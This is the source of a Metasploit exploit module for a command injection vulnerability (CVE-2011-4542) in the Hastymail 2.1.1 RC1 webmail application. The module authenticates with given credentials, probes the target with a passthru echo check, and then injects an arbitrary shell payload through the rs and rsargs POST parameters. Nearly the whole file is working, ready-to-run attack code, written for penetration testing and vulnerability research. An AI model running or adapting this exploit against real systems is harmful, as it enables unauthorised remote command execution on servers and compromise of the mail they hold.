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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "Hastymail 2.1.1 RC1 Command Injection",
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        'Description' => %q{
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          This module exploits a command injection vulnerability found in Hastymail
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          2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
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          the "lib/ajax_functions.php" script. Authentication is required on Hastymail
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          in order to exploit the vulnerability. The module has been successfully tested
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          on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Bruno Teixeira', # Vulnerability Discovery
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          'juan vazquez' # Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2011-4542' ],
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          [ 'BID', '50791' ],
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          [ 'OSVDB', '77331' ],
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          [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
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        ],
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        'Payload' => {
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          'Compat' =>
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                  {
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                    'PayloadType' => 'cmd',
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                    'RequiredCmd' => 'generic perl ruby python netcat netcat-e',
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                  }
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        },
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        'Platform' => ['unix'],
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          ['Hastymail 2.1.1 RC1', {}]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2011-11-22',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
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        OptString.new('USER', [true, "The username to authenticate with", ""]),
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        OptString.new('PASS', [true, "The password to authenticate with", ""])
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      ]
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    )
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  end
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  def check
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    @uri = normalize_uri(target_uri.path)
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    @uri << '/' if @uri[-1, 1] != '/'
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    @session_id = ""
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    login
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    if not @session_id or @session_id.empty?
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      vprint_error "Authentication failed"
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      return Exploit::CheckCode::Unknown
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    end
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    test = rand_text_alpha(rand(4) + 4)
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    data = "rs=passthru&"
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    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
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    data << "rsargs[]=echo #{test}"
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => "#{@uri}",
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      'Cookie' => @session_id,
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      'data' => data
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    })
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    if res and res.code == 200 and res.body =~ /#{test}/
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      return Exploit::CheckCode::Vulnerable
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def login
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => "#{@uri}?page=login",
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      'vars_post' =>
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      {
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        'user' => datastore['USER'],
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        'pass' => datastore['PASS'],
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        'login' => 'Login'
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      }
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    })
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    if res and res.code == 303
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      @session_id = res.get_cookies
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      print_good("Authentication Successful")
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    end
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  end
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  def exploit
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    @uri = normalize_uri(target_uri.path)
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    @uri << '/' if @uri[-1, 1] != '/'
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    @session_id = ""
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    print_status "Trying login"
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    login
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    if not @session_id or @session_id.empty?
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      print_error "Authentication failed"
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      return
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    end
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    print_good "Authentication successfully, trying to exploit"
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    data = "rs=passthru&"
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    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
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    data << "rsargs[]=#{payload.encoded}"
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => "#{@uri}",
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      'Cookie' => @session_id,
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      'headers' => {
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        'Cmd' => Rex::Text.encode_base64(payload.encoded)
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      },
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      'data' => data
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    })
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    if not res or res.code != 200 or not res.body =~ /\+/
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      print_error "Exploitation failed"
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      return
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    end
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  end
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end
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